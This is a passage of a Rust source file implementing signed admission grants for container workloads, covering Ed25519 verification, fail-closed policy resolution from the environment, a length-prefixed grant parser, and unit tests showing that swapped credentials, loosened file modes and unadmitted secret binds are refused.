853/// 1. **Is a grant required?** [`Policy::Required`], or the unconditional
854///    nested-sandbox exception (see the module docs).
855/// 2. **Is one present and complete?** A partial annotation set is an error, not
856///    an absence.
857/// 3. **Attribution** — the signing key must be one `trusted_keys` pins. An
858///    untrusted key can produce a valid signature; checking it first would be
859///    answering the wrong question.
860/// 4. **Signature** over the grant bytes, with `verify_strict`.
861/// 5. **Coverage** — [`AdmissionGrant::covers`].
862///
863/// A verifier with `Policy::Required` and an **empty** key set refuses
864/// everything: pinning nothing means trusting nothing, which is the fail-closed
865/// direction. That is deliberate, and it is the reason an operator flipping a
866/// node to `required` without configuring keys gets a loud outage rather than a
867/// quiet no-op gate.
868#[cfg(feature = "admission-verify")]
869pub fn admit(
870    spec: &WorkloadSpec,
871    policy: Policy,
872    trusted_keys: &[String],
873) -> Result<(), AdmissionError> {
874    admit_grant(spec, policy, trusted_keys).map(|_| ())
875}
876
877/// [`admit`], returning the grant it verified.
878///
879/// `Ok(None)` means "admitted, and there was no grant to read" — the permissive
880/// no-annotations path. `Ok(Some(grant))` hands back a document that has passed
881/// attribution, signature and coverage, which is the only form in which a
882/// caller may treat the recipe name inside it as an *identity*.
883///
884/// That distinction is the whole reason this variant exists: R555-F5 keys
885/// cluster-secret access on the signed recipe
886/// ([`SecretAccess::Recipes`](crate::secrets::SecretAccess::Recipes)) rather
887/// than on the workload name, because a forge workload's name is a fresh
888/// `forge-<uuid>` every run and therefore cannot appear in any allow-list
889/// written ahead of time. Reading `recipe` out of an *unverified* grant would
890/// make that allow-list bearer-authorized again — which is the exact hole R706
891/// closed for the workload case.
892#[cfg(feature = "admission-verify")]
893pub fn admit_grant(
894    spec: &WorkloadSpec,
895    policy: Policy,
896    trusted_keys: &[String],
897) -> Result<Option<AdmissionGrant>, AdmissionError> {
898    use ed25519_dalek::{Signature, VerifyingKey};
899
900    if policy == Policy::Disabled {
901        return Ok(None);
902    }
903
904    let present = has_grant_annotations(spec);
905    // The nested-sandbox widening is never granted un-admitted, whatever the
906    // node's policy — W235 §Reshaping's ordering constraint, enforced in code.
907    //
908    // Scoped to CONTAINER specs on purpose. The widening is an OCI capability
909    // set, and a native (fork+exec) workload has no OCI spec to apply it to, so
910    // a spec carrying both markers is asking for a privilege that cannot be
911    // granted — an incoherent spec, not a privileged one. Kamaji already refuses
912    // that pair with a message that says so (R577-T1 owns the refusal), and
913    // "not admitted" would be a strictly less informative answer to the same
914    // question. There is no privilege to protect here, so admission steps aside.
915    //
916    // R605-F8: a microVM workload is the same case for the same reason — it has
917    // no OCI spec either, and `validate_microvm_spec` owns the matching refusal.
918    // Note this arm is *not* a privilege relaxation: the guest has its own
919    // kernel, so a capability set inside it grants nothing on the host.
920    let widening =
921        spec.wants_nested_sandbox() && !spec.wants_native_exec() && !spec.wants_microvm();
922    let required = policy == Policy::Required || widening;
923
924    if !present {
925        return if required {
926            Err(AdmissionError::GrantRequired {
927                reason: if policy == Policy::Required {
928                    format!("this node runs {POLICY_ENV}=required")
929                } else {
930                    format!(
931                        "the workload requests the nested-sandbox widening (annotation {}={})",
932                        crate::NESTED_SANDBOX_ANNOTATION,
933                        crate::NESTED_SANDBOX_VALUE
934                    )
935                },
936            })
937        } else {
938            Ok(None)
939        };
940    }
941
942    let grant_text = spec
943        .annotations
944        .get(GRANT_ANNOTATION)
945        .ok_or(AdmissionError::Incomplete {
946            missing: GRANT_ANNOTATION,
947        })?;
948    let signature_hex =
949        spec.annotations
950            .get(GRANT_SIGNATURE_ANNOTATION)
951            .ok_or(AdmissionError::Incomplete {
952                missing: GRANT_SIGNATURE_ANNOTATION,
953            })?;
954    let key_hex = spec
955        .annotations
956        .get(GRANT_KEY_ANNOTATION)
957        .ok_or(AdmissionError::Incomplete {
958            missing: GRANT_KEY_ANNOTATION,
959        })?;
960
961    // 3. Attribution before crypto.
962    if !trusted_keys.iter().any(|k| k == key_hex) {
963        return Err(AdmissionError::UntrustedKey {
964            key: key_hex.clone(),
965        });
966    }
967
968    let key_bytes: [u8; 32] = hex::decode(key_hex)
969        .ok()
970        .and_then(|b| b.try_into().ok())
971        .ok_or_else(|| AdmissionError::MalformedKey {
972            reason: "expected 32 hex-encoded bytes".into(),
973        })?;
974    let verifying_key =
975        VerifyingKey::from_bytes(&key_bytes).map_err(|e| AdmissionError::MalformedKey {
976            reason: format!("not a valid Ed25519 point: {e}"),
977        })?;
978    let sig_bytes: [u8; 64] = hex::decode(signature_hex)
979        .ok()
980        .and_then(|b| b.try_into().ok())
981        .ok_or_else(|| AdmissionError::MalformedSignature {
982            reason: "expected 64 hex-encoded bytes".into(),
983        })?;
984
985    verifying_key
986        .verify_strict(grant_text.as_bytes(), &Signature::from_bytes(&sig_bytes))
987        .map_err(|_| AdmissionError::SignatureMismatch)?;
988
989    // 5. Only now is the grant's content worth reading.
990    let grant = AdmissionGrant::parse(grant_text)?;
991    grant.covers(spec)?;
992    Ok(Some(grant))
993}
994
995/// The signing key that vouched for a spec's grant, as it appears in
996/// [`GRANT_KEY_ANNOTATION`]. Meaningful only alongside a grant returned by
997/// [`admit_grant`] — on its own it is an unverified assertion.
998pub fn grant_key(spec: &WorkloadSpec) -> Option<&String> {
999    spec.annotations.get(GRANT_KEY_ANNOTATION)
1000}
1001
1002/// The node's admission policy and pinned key set, read once from the
1003/// environment.
1004///
1005/// # Why this lives here rather than in kamaji
1006///
1007/// Two deployment shapes enforce admission — the standalone `kamaji.service`
1008/// (`kamaji-bin`) and the inlined `kamaji` library backends — and R592-T1 is on
1009/// record about what happens when those two grow their own copy of a shared
1010/// rule: they drift, and nobody notices until a node behaves differently from
1011/// the one next to it. This crate is the only thing both of them depend on
1012/// unconditionally, so the policy resolution lives here, resolved once per
1013/// process.
1014///
1015/// - `YAH_ADMISSION` — `disabled` | `permissive` | `required`. Unset means
1016///   [`Policy::Permissive`].
1017/// - `YAH_ADMISSION_KEYS` — comma-separated hex Ed25519 public keys. Unset
1018///   means none, which under `required` refuses everything.
1019///
1020/// **A malformed `YAH_ADMISSION` resolves to [`Policy::Required`]**, not to the
1021/// default. A typo in a security control must fail toward refusal; the
1022/// alternative is an operator who believes admission is on because they set the
1023/// variable, on a node that silently ignored it.
1024#[cfg(feature = "admission-verify")]
1025#[derive(Debug, Clone)]
1026pub struct NodeAdmission {
1027    /// How strictly this node enforces admission.
1028    pub policy: Policy,
1029    /// Hex Ed25519 public keys this node accepts grants from.
1030    pub trusted_keys: Vec<String>,
1031}
1032
1033#[cfg(feature = "admission-verify")]
1034static NODE_ADMISSION: std::sync::OnceLock<NodeAdmission> = std::sync::OnceLock::new();
1035
1036/// Environment variable naming this node's [`Policy`].
1037pub const POLICY_ENV: &str = "YAH_ADMISSION";
1038
1039/// Environment variable carrying this node's comma-separated pinned keys.
1040pub const KEYS_ENV: &str = "YAH_ADMISSION_KEYS";
1041
1042#[cfg(feature = "admission-verify")]
1043impl NodeAdmission {
1044    /// Resolve from the environment. Public for tests and for a node that wants
1045    /// to log its own posture at startup; [`check`] uses the cached form.
1046    pub fn from_env() -> Self {
1047        Self::from_vars(
1048            std::env::var(POLICY_ENV).ok().as_deref(),
1049            std::env::var(KEYS_ENV).ok().as_deref(),
1050        )
1051    }
1052
1053    /// The pure half of [`Self::from_env`], so the fail-closed-on-typo rule is
1054    /// testable without mutating process environment.
1055    pub fn from_vars(policy: Option<&str>, keys: Option<&str>) -> Self {
1056        let policy = match policy {
1057            None => Policy::default(),
1058            Some(raw) => Policy::parse(raw).unwrap_or_else(|e| {
1059                eprintln!(
1060                    "{POLICY_ENV}: {e}. Falling back to \"required\" — a misconfigured \
1061                     admission control must refuse, not open."
1062                );
1063                Policy::Required
1064            }),
1065        };
1066        let trusted_keys = keys
1067            .unwrap_or_default()
1068            .split(',')
1069            .map(str::trim)
1070            .filter(|k| !k.is_empty())
1071            .map(str::to_string)
1072            .collect();
1073        Self {
1074            policy,
1075            trusted_keys,
1076        }
1077    }
1078}
1079
1080/// Admit `spec` under this node's environment-resolved posture.
1081///
1082/// The one call every backend makes. See [`admit`] for the check order and
1083/// [`NodeAdmission`] for where the posture comes from.
1084#[cfg(feature = "admission-verify")]
1085pub fn check(spec: &WorkloadSpec) -> Result<(), AdmissionError> {
1086    check_grant(spec).map(|_| ())
1087}
1088
1089/// [`check`], returning the verified grant — see [`admit_grant`] for why a
1090/// caller would want it.
1091#[cfg(feature = "admission-verify")]
1092pub fn check_grant(spec: &WorkloadSpec) -> Result<Option<AdmissionGrant>, AdmissionError> {
1093    let node = NODE_ADMISSION.get_or_init(NodeAdmission::from_env);
1094    admit_grant(spec, node.policy, &node.trusted_keys)
1095}
1096
1097/// Sign an encoded grant, returning the hex signature to put in
1098/// [`GRANT_SIGNATURE_ANNOTATION`].
1099///
1100/// Lives beside [`admit`] on purpose: sign and verify must agree on the signed
1101/// bytes exactly, and the cheapest way to guarantee that is to give them no
1102/// opportunity to drift apart (`yah_plugin::sign_manifest` records the same
1103/// reasoning).
1104#[cfg(feature = "admission-verify")]
1105pub fn sign_grant(encoded_grant: &str, key: &ed25519_dalek::SigningKey) -> String {
1106    use ed25519_dalek::Signer;
1107    hex::encode(key.sign(encoded_grant.as_bytes()).to_bytes())
1108}
1109
1110// ── errors ───────────────────────────────────────────────────────────────────
1111
1112/// Why a grant document could not be read.
1113#[derive(Debug, Error, PartialEq, Eq)]
1114pub enum GrantError {
1115    #[error("admission grant does not open with {GRANT_MAGIC:?}")]
1116    BadMagic,
1117    #[error("admission grant: expected record {expected:?}, found {found:?}")]
1118    UnexpectedLabel { expected: &'static str, found: String },
1119    #[error("admission grant: record {label:?} is truncated or mis-lengthed")]
1120    Truncated { label: &'static str },
1121    #[error("admission grant: record {label:?} — {reason}")]
1122    BadValue { label: &'static str, reason: String },
1123    #[error("admission grant: {0} trailing byte(s) after the last record")]
1124    Trailing(usize),
1125}
1126
1127/// Why a workload was not admitted.
1128#[derive(Debug, Error, PartialEq, Eq)]
1129pub enum AdmissionError {
1130    #[error(
1131        "workload carries no admission grant and one is required: {reason}. \
1132         Sign the recipe with `cargo xtask recipe-sign` (W235 §(c) / R555-F4)."
1133    )]
1134    GrantRequired { reason: String },
1135    #[error(
1136        "workload carries a partial admission grant — annotation {missing:?} is absent. \
1137         All three of the grant, its signature and its key must travel together."
1138    )]
1139    Incomplete { missing: &'static str },
1140    #[error(
1141        "admission grant is signed by {key}, which this node does not trust. \
1142         Pinned keys come from the {KEYS_ENV} environment variable."
1143    )]
1144    UntrustedKey { key: String },
1145    #[error("admission grant public key is malformed: {reason}")]
1146    MalformedKey { reason: String },
1147    #[error("admission grant signature is malformed: {reason}")]
1148    MalformedSignature { reason: String },
1149    #[error("admission grant signature does not verify over the grant it accompanies")]
1150    SignatureMismatch,
1151    #[error("admission grant does not cover this workload's {field}: {detail}")]
1152    Mismatch { field: &'static str, detail: String },
1153    #[error(transparent)]
1154    Grant(#[from] GrantError),
1155}
1156
1157// ── encoding helpers ─────────────────────────────────────────────────────────
1158
1159fn bool_str(b: bool) -> &'static str {
1160    if b {
1161        "true"
1162    } else {
1163        "false"
1164    }
1165}
1166
1167fn record(out: &mut String, label: &str, value: &str) {
1168    out.push_str(label);
1169    out.push(' ');
1170    out.push_str(&value.len().to_string());
1171    out.push('\n');
1172    out.push_str(value);
1173    out.push('\n');
1174}
1175
1176fn list(out: &mut String, label: &str, items: &[String]) {
1177    // The count is itself a length-prefixed record, so the parser has exactly
1178    // one record shape to read and a list header cannot be confused with a
1179    // scalar of the same label.
1180    record(out, label, &items.len().to_string());
1181    let item_label = format!("{label}.item");
1182    for item in items {
1183        record(out, &item_label, item);
1184    }
1185}
1186
1187/// Lets `Option<String>` be encoded by the same counted-list record shape as a
1188/// genuine list, so the parser has one code path and the encoding stays
1189/// injective for the absent case.
1190trait AsSliceOfOne {
1191    fn as_slice_of_one(&self) -> &[String];
1192}
1193
1194impl AsSliceOfOne for Option<String> {
1195    fn as_slice_of_one(&self) -> &[String] {
1196        match self {
1197            Some(s) => std::slice::from_ref(s),
1198            None => &[],
1199        }
1200    }
1201}
1202
1203struct Cursor<'a> {
1204    rest: &'a str,
1205}
1206
1207impl<'a> Cursor<'a> {
1208    fn new(text: &'a str) -> Self {
1209        Self { rest: text }
1210    }
1211
1212    fn magic(&mut self) -> Result<(), GrantError> {
1213        let line = format!("{GRANT_MAGIC}\n");
1214        self.rest = self.rest.strip_prefix(&line).ok_or(GrantError::BadMagic)?;
1215        Ok(())
1216    }
1217
1218    /// Read one `<label> <len>\n<value>\n` record, checking the label.
1219    fn record(&mut self, label: &'static str) -> Result<String, GrantError> {
1220        let (header, after) = self
1221            .rest
1222            .split_once('\n')
1223            .ok_or(GrantError::Truncated { label })?;
1224        let (found, len) = header
1225            .split_once(' ')
1226            .ok_or(GrantError::Truncated { label })?;
1227        if found != label {
1228            return Err(GrantError::UnexpectedLabel {
1229                expected: label,
1230                found: found.to_string(),
1231            });
1232        }
1233        let len: usize = len.parse().map_err(|_| GrantError::BadValue {
1234            label,
1235            reason: format!("length {len:?} is not a number"),
1236        })?;
1237        // Byte-indexed slicing: reject a length that lands inside a multi-byte
1238        // character rather than panicking on a non-char-boundary slice.
1239        if after.len() < len + 1 || !after.is_char_boundary(len) {
1240            return Err(GrantError::Truncated { label });
1241        }
1242        let (value, tail) = after.split_at(len);
1243        self.rest = tail.strip_prefix('\n').ok_or(GrantError::Truncated { label })?;
1244        Ok(value.to_string())
1245    }
1246
1247    fn bool_record(&mut self, label: &'static str) -> Result<bool, GrantError> {
1248        match self.record(label)?.as_str() {
1249            "true" => Ok(true),
1250            "false" => Ok(false),
1251            other => Err(GrantError::BadValue {
1252                label,
1253                reason: format!("expected \"true\" or \"false\", got {other:?}"),
1254            }),
1255        }
1256    }
1257
1258    /// Read the counted `secret` block: a count record, then four records per
1259    /// entry. Strict in the same way [`Cursor::record`] is — an unknown source
1260    /// kind, a non-octal mode or a relative mount path is an error, never a
1261    /// guess, because every one of them would otherwise widen what the signer
1262    /// believed they authorized.
1263    fn secrets(&mut self) -> Result<Vec<GrantSecret>, GrantError> {
1264        let count: usize = self.record("secret")?.parse().map_err(|_| GrantError::BadValue {
1265            label: "secret",
1266            reason: "count is not a number".into(),
1267        })?;
1268        if count > self.rest.len() {
1269            return Err(GrantError::BadValue {
1270                label: "secret",
1271                reason: format!("count {count} exceeds the remaining document"),
1272            });
1273        }
1274        let mut out = Vec::with_capacity(count);
1275        for _ in 0..count {
1276            let kind = self.record("secret.source-kind")?;
1277            let value = self.record("secret.source")?;
1278            let source = match kind.as_str() {
1279                "cluster" => SecretRef::Cluster { name: value },
1280                "local-file" => SecretRef::LocalFile {
1281                    path: PathBuf::from(value),
1282                },
1283                other => {
1284                    return Err(GrantError::BadValue {
1285                        label: "secret.source-kind",
1286                        reason: format!("expected \"cluster\" or \"local-file\", got {other:?}"),
1287                    })
1288                }
1289            };
1290            let path = PathBuf::from(self.record("secret.path")?);
1291            if !path.is_absolute() {
1292                return Err(GrantError::BadValue {
1293                    label: "secret.path",
1294                    reason: format!("mount path {} is not absolute", path.display()),
1295                });
1296            }
1297            let mode_raw = self.record("secret.mode")?;
1298            let mode = u32::from_str_radix(&mode_raw, 8).map_err(|_| GrantError::BadValue {
1299                label: "secret.mode",
1300                reason: format!("{mode_raw:?} is not an octal file mode"),
1301            })?;
1302            out.push(GrantSecret { source, path, mode });
1303        }
1304        Ok(out)
1305    }
1306
1307    fn list(&mut self, label: &'static str) -> Result<Vec<String>, GrantError> {
1308        let count: usize = self.record(label)?.parse().map_err(|_| GrantError::BadValue {
1309            label,
1310            reason: "count is not a number".into(),
1311        })?;
1312        // A count larger than the remaining bytes can only be a malformed or
1313        // hostile document; refuse before allocating for it.
1314        if count > self.rest.len() {
1315            return Err(GrantError::BadValue {
1316                label,
1317                reason: format!("count {count} exceeds the remaining document"),
1318            });
1319        }
1320        // `record` takes a &'static str; the item label is derived, so this
1321        // leaks a small fixed set of strings (one per grant field) for the
1322        // process lifetime rather than per parse.
1323        let item_label: &'static str = match label {
1324            "workdir" => "workdir.item",
1325            "entrypoint" => "entrypoint.item",
1326            "argv" => "argv.item",
1327            "env-name" => "env-name.item",
1328            other => {
1329                return Err(GrantError::BadValue {
1330                    label,
1331                    reason: format!("{other:?} is not a list field"),
1332                })
1333            }
1334        };
1335        let mut items = Vec::with_capacity(count);
1336        for _ in 0..count {
1337            items.push(self.record(item_label)?);
1338        }
1339        Ok(items)
1340    }
1341
1342    fn end(&self) -> Result<(), GrantError> {
1343        if self.rest.is_empty() {
1344            Ok(())
1345        } else {
1346            Err(GrantError::Trailing(self.rest.len()))
1347        }
1348    }
1349}
1350
1351#[cfg(test)]
1352mod tests {
1353    use super::*;
1354    use crate::{EnvVar, ImageRef, MeshIdent, TierTag, VolumeMount};
1355    use std::path::PathBuf;
1356
1357    const IMAGE: &str = "ghcr.io/yah-ai/rusty-v8-musl-builder";
1358    const DIGEST: &str = "sha256:8f2a6c1d6937e85ad7a1554829fb7901a7d204ed81e9ce7a1b53ef8c1acc1b75";
1359
1360    fn image() -> ImageRef {
1361        ImageRef {
1362            registry: "ghcr.io".into(),
1363            repository: "yah-ai/rusty-v8-musl-builder".into(),
1364            tag: "v149.4.0".into(),
1365            digest: DIGEST.into(),
1366        }
1367    }
1368
1369    /// The shape `velveteen_exec::remote::build_workload_spec` produces for a
1370    /// remotely-placed recipe step: forge defaults + host networking + the
1371    /// per-run durable produced mount.
1372    pub(super) fn forge_spec(argv: &[&str]) -> WorkloadSpec {
1373        let mut spec = WorkloadSpec::for_forge("abc123", image(), TierTag("infra".into()), vec![]);
1374        spec.command = Some(argv.iter().map(|s| s.to_string()).collect());
1375        spec.volumes.push(crate::forge_produced::durable_mount("abc123"));
1376        spec.annotations.insert(
1377            crate::HOST_NETWORK_ANNOTATION.into(),
1378            crate::HOST_NETWORK_VALUE.into(),
1379        );
1380        spec
1381    }
1382
1383    /// The un-substituted spec a recipe author signs: same shape, argv holes
1384    /// intact.
1385    pub(super) fn template_spec() -> WorkloadSpec {
1386        forge_spec(&["build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'"])
1387    }
1388
1389    /// What the reconciler actually dispatches after `substitute_argv`.
1390    pub(super) fn dispatched_spec() -> WorkloadSpec {
1391        forge_spec(&[
1392            "build-v8.sh 'x86_64-unknown-linux-musl' '/yah/produced/deadbeef.out'",
1393        ])
1394    }
1395
1396    pub(super) fn grant() -> AdmissionGrant {
1397        AdmissionGrant::from_spec("rusty-v8-musl", &template_spec())
1398    }
1399
1400    // ── secret fixtures (R555-F5) ────────────────────────────────────────────
1401
1402    const R2_PATH: &str = "/run/yah/r2.json";
1403
1404    fn cluster_mount(name: &str, path: &str, mode: u32) -> SecretMount {
1405        SecretMount {
1406            source: SecretRef::Cluster { name: name.into() },
1407            target: SecretTarget::File {
1408                path: PathBuf::from(path),
1409                mode,
1410            },
1411        }
1412    }
1413
1414    /// A dispatched spec that declares one cluster secret, plus the grant cut
1415    /// from the matching template.
1416    fn spec_and_grant_with_a_secret() -> (WorkloadSpec, AdmissionGrant) {
1417        let mut template = template_spec();
1418        template.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1419        let grant = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1420        let mut spec = dispatched_spec();
1421        spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1422        (spec, grant)
1423    }
1424
1425    /// Reproduce what yubaba's `deploy::secret_mount::materialize_file_secrets`
1426    /// does to a spec before the backend — and therefore before kamaji's own
1427    /// admission check — sees it: the mount is gone and a read-only bind of the
1428    /// tmpfs file has taken its place.
1429    fn materialize(spec: &mut WorkloadSpec) {
1430        let ident = spec.expose.mesh.identity.0.clone();
1431        let mounts = std::mem::take(&mut spec.secrets);
1432        for m in mounts {
1433            let SecretTarget::File { path, .. } = &m.target else {
1434                spec.secrets.push(m);
1435                continue;
1436            };
1437            spec.volumes.push(VolumeMount {
1438                source: VolumeSource::Bind {
1439                    host_path: crate::secret_mount::materialized_host_path(
1440                        std::path::Path::new(crate::secret_mount::HOST_ROOT),
1441                        &ident,
1442                        path,
1443                    ),
1444                },
1445                target: path.clone(),
1446                read_only: true,
1447            });
1448        }
1449    }
1450
1451    #[test]
1452    fn a_grant_carries_the_secrets_it_was_cut_from() {
1453        let (_, g) = spec_and_grant_with_a_secret();
1454        assert_eq!(
1455            g.secrets,
1456            vec![GrantSecret {
1457                source: SecretRef::Cluster {
1458                    name: "r2-write".into()
1459                },
1460                path: PathBuf::from(R2_PATH),
1461                mode: 0o400,
1462            }]
1463        );
1464        assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1465    }
1466
1467    #[test]
1468    fn several_secrets_round_trip_in_order() {
1469        let mut g = grant();
1470        g.secrets = vec![
1471            GrantSecret {
1472                source: SecretRef::Cluster {
1473                    name: "r2-write".into(),
1474                },
1475                path: PathBuf::from("/run/yah/r2.json"),
1476                mode: 0o400,
1477            },
1478            GrantSecret {
1479                source: SecretRef::LocalFile {
1480                    path: PathBuf::from("/var/lib/yah/yubaba/secrets/cosign"),
1481                },
1482                path: PathBuf::from("/run/yah/cosign.key"),
1483                mode: 0o400,
1484            },
1485        ];
1486        assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1487    }
1488
1489    /// Why the entry is four records instead of one joined string: joining
1490    /// needs a separator, and a separator occurring inside a secret name or a
1491    /// mount path makes two different allow-lists encode identically — which
1492    /// would mean a signature over one authorizing the other.
1493    #[test]
1494    fn two_different_allow_lists_cannot_encode_the_same() {
1495        let mut a = grant();
1496        a.secrets = vec![GrantSecret {
1497            source: SecretRef::Cluster {
1498                name: "r2 /run/yah/x".into(),
1499            },
1500            path: PathBuf::from("/run/yah/r2.json"),
1501            mode: 0o400,
1502        }];
1503        let mut b = grant();
1504        b.secrets = vec![GrantSecret {
1505            source: SecretRef::Cluster { name: "r2".into() },
1506            path: PathBuf::from("/run/yah/x /run/yah/r2.json"),
1507            mode: 0o400,
1508        }];
1509        assert_ne!(a.encode(), b.encode());
1510        assert_eq!(AdmissionGrant::parse(&a.encode()).unwrap(), a);
1511        assert_eq!(AdmissionGrant::parse(&b.encode()).unwrap(), b);
1512    }
1513
1514    #[test]
1515    fn parse_refuses_a_malformed_secret_entry() {
1516        let g = {
1517            let (_, g) = spec_and_grant_with_a_secret();
1518            g
1519        };
1520        let encoded = g.encode();
1521
1522        // A source kind the verifier does not know is an error, not a guess.
1523        let bad_kind = encoded.replacen("cluster\n", "vault\n", 1);
1524        assert!(matches!(
1525            AdmissionGrant::parse(&bad_kind).unwrap_err(),
1526            GrantError::BadValue {
1527                label: "secret.source-kind",
1528                ..
1529            } | GrantError::Truncated { .. }
1530        ));
1531
1532        // A relative mount path would resolve against the container's workdir,
1533        // so what the signer authorized would depend on a field the grant
1534        // template-matches rather than compares.
1535        let relative = encoded.replacen(
1536            &format!("secret.path {}\n{R2_PATH}", R2_PATH.len()),
1537            "secret.path 8\nr2.json ",
1538            1,
1539        );
1540        assert!(AdmissionGrant::parse(&relative).is_err());
1541    }
1542
1543    #[test]
1544    fn a_declared_secret_is_admitted() {
1545        let (spec, g) = spec_and_grant_with_a_secret();
1546        g.covers(&spec).unwrap();
1547    }
1548
1549    #[test]
1550    fn a_secret_the_grant_does_not_admit_is_refused() {
1551        let mut spec = dispatched_spec();
1552        spec.secrets.push(cluster_mount("r2-write", R2_PATH, 0o400));
1553        let err = grant().covers(&spec).unwrap_err();
1554        assert!(
1555            matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1556            "{err}"
1557        );
1558    }
1559
1560    /// The headline hole R555-F5 exists to close: the argv, the image and the
1561    /// env NAMES all still match the signature, and only the credential the run
1562    /// reads has been swapped.
1563    #[test]
1564    fn swapping_the_credential_under_an_admitted_mount_is_refused() {
1565        let (mut spec, g) = spec_and_grant_with_a_secret();
1566        spec.secrets = vec![cluster_mount("cosign-signing-key", R2_PATH, 0o400)];
1567        let err = g.covers(&spec).unwrap_err();
1568        assert!(
1569            matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1570            "{err}"
1571        );
1572        assert!(err.to_string().contains("cosign-signing-key"), "{err}");
1573    }
1574
1575    /// Mode is in the signed body, so widening it is a different grant.
1576    #[test]
1577    fn loosening_the_file_mode_is_refused() {
1578        let (mut spec, g) = spec_and_grant_with_a_secret();
1579        spec.secrets = vec![cluster_mount("r2-write", R2_PATH, 0o444)];
1580        assert!(g.covers(&spec).is_err());
1581    }
1582
1583    #[test]
1584    fn an_env_target_secret_mount_is_refused_rather_than_admitted() {
1585        let env_mount = SecretMount {
1586            source: SecretRef::Cluster {
1587                name: "r2-write".into(),
1588            },
1589            target: SecretTarget::EnvVar {
1590                name: "R2_TOKEN".into(),
1591            },
1592        };
1593        let mut template = template_spec();
1594        template.secrets.push(env_mount.clone());
1595        // Signing one produces a grant that does not cover it, so the refusal
1596        // is reachable at signing time and not only on the node.
1597        let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1598        assert!(g.secrets.is_empty());
1599
1600        let mut spec = dispatched_spec();
1601        spec.secrets.push(env_mount);
1602        let err = g.covers(&spec).unwrap_err();
1603        assert!(
1604            matches!(&err, AdmissionError::Mismatch { field: "secrets", .. }),
1605            "{err}"
1606        );
1607    }
1608
1609    /// The second half of the same hole: `env_names` admits `R2_TOKEN`, and the
1610    /// VALUE selects which secret is read.
1611    #[test]
1612    fn an_env_var_resolved_from_a_secret_is_refused_even_when_its_name_is_admitted() {
1613        let mut template = template_spec();
1614        template.env.push(EnvVar {
1615            name: "R2_TOKEN".into(),
1616            value: EnvValue::Literal {
1617                value: "placeholder".into(),
1618            },
1619        });
1620        let g = AdmissionGrant::from_spec("rusty-v8-musl", &template);
1621        assert!(g.env_names.contains(&"R2_TOKEN".to_string()));
1622
1623        let mut spec = dispatched_spec();
1624        spec.env = vec![EnvVar {
1625            name: "R2_TOKEN".into(),
1626            value: EnvValue::FromSecret {
1627                secret: "cosign-signing-key".into(),
1628                key: "seed".into(),
1629            },
1630        }];
1631        let err = g.covers(&spec).unwrap_err();
1632        assert!(matches!(&err, AdmissionError::Mismatch { field: "env", .. }), "{err}");
1633        assert!(err.to_string().contains("cosign-signing-key"), "{err}");
1634    }
1635
1636    // ── the yubaba rewrite (R555-F5) ─────────────────────────────────────────
1637
1638    /// kamaji checks the spec AFTER yubaba has turned the mount into a bind.
1639    /// Without this, a signed recipe that uses a secret is refused by the bind
1640    /// rule with a message about a forge state root it never asked for.
1641    #[test]
1642    fn the_materialized_bind_yubaba_injects_is_admitted() {
1643        let (mut spec, g) = spec_and_grant_with_a_secret();
1644        materialize(&mut spec);
1645        assert!(spec.secrets.is_empty(), "materialization consumes the mount");
1646        assert_eq!(spec.volumes.len(), 2, "produced dir + the secret bind");
1647        g.covers(&spec).unwrap();
1648    }
1649
1650    #[test]
1651    fn a_materialized_bind_for_another_workloads_ident_is_refused() {
1652        let (mut spec, g) = spec_and_grant_with_a_secret();
1653        materialize(&mut spec);
1654        // Same container path, same grant — but the host file belongs to the
1655        // ingress workload's secret dir.
1656        for v in &mut spec.volumes {
1657            if let VolumeSource::Bind { host_path } = &mut v.source {
1658                if host_path.starts_with(crate::secret_mount::HOST_ROOT) {
1659                    *host_path = crate::secret_mount::materialized_host_path(
1660                        std::path::Path::new(crate::secret_mount::HOST_ROOT),
1661                        "ingress",
1662                        std::path::Path::new(R2_PATH),
1663                    );
1664                }
1665            }
1666        }
1667        let err = g.covers(&spec).unwrap_err();
1668        assert!(
1669            matches!(&err, AdmissionError::Mismatch { field: "volumes", .. }),
1670            "{err}"
1671        );
1672    }
1673
1674    #[test]
1675    fn a_writable_bind_at_an_admitted_secret_path_is_refused() {
1676        let (mut spec, g) = spec_and_grant_with_a_secret();
1677        materialize(&mut spec);
1678        for v in &mut spec.volumes {
1679            if v.target == PathBuf::from(R2_PATH) {
1680                v.read_only = false;
1681            }
1682        }
1683        assert!(g.covers(&spec).is_err());
1684    }
1685
1686    #[test]
1687    fn a_secret_bind_the_grant_never_admitted_is_refused() {
1688        let mut spec = dispatched_spec();
1689        let ident = spec.expose.mesh.identity.0.clone();
1690        spec.volumes.push(VolumeMount {
1691            source: VolumeSource::Bind {
1692                host_path: crate::secret_mount::materialized_host_path(
1693                    std::path::Path::new(crate::secret_mount::HOST_ROOT),
1694                    &ident,
1695                    std::path::Path::new(R2_PATH),
1696                ),
1697            },
1698            target: PathBuf::from(R2_PATH),
1699            read_only: true,
1700        });
1701        // The grant here declares no secrets at all: the exemption is keyed on
1702        // the allow-list, not on the path shape.
1703        assert!(grant().covers(&spec).is_err());
1704    }
1705
1706    // ── encoding ─────────────────────────────────────────────────────────────
1707
1708    #[test]
1709    fn encode_parse_round_trips() {
1710        let g = grant();
1711        assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1712    }
1713
1714    #[test]
1715    fn encode_survives_a_value_containing_a_newline() {
1716        // A `bash -c` recipe step routinely embeds one; the length prefix is
1717        // what makes that need no escaping.
1718        let mut g = grant();
1719        g.argv = vec!["bash".into(), "-c".into(), "set -e\necho hi\n".into()];
1720        assert_eq!(AdmissionGrant::parse(&g.encode()).unwrap(), g);
1721    }
1722
1723    #[test]
1724    fn absent_workdir_round_trips_distinctly_from_an_empty_one() {
1725        let mut absent = grant();
1726        absent.workdir = None;
1727        let mut empty = grant();
1728        empty.workdir = Some(String::new());
1729        assert_ne!(absent.encode(), empty.encode());
1730        assert_eq!(AdmissionGrant::parse(&absent.encode()).unwrap(), absent);
1731        assert_eq!(AdmissionGrant::parse(&empty.encode()).unwrap(), empty);
1732    }
1733
1734    #[test]
1735    fn parse_rejects_a_foreign_document() {
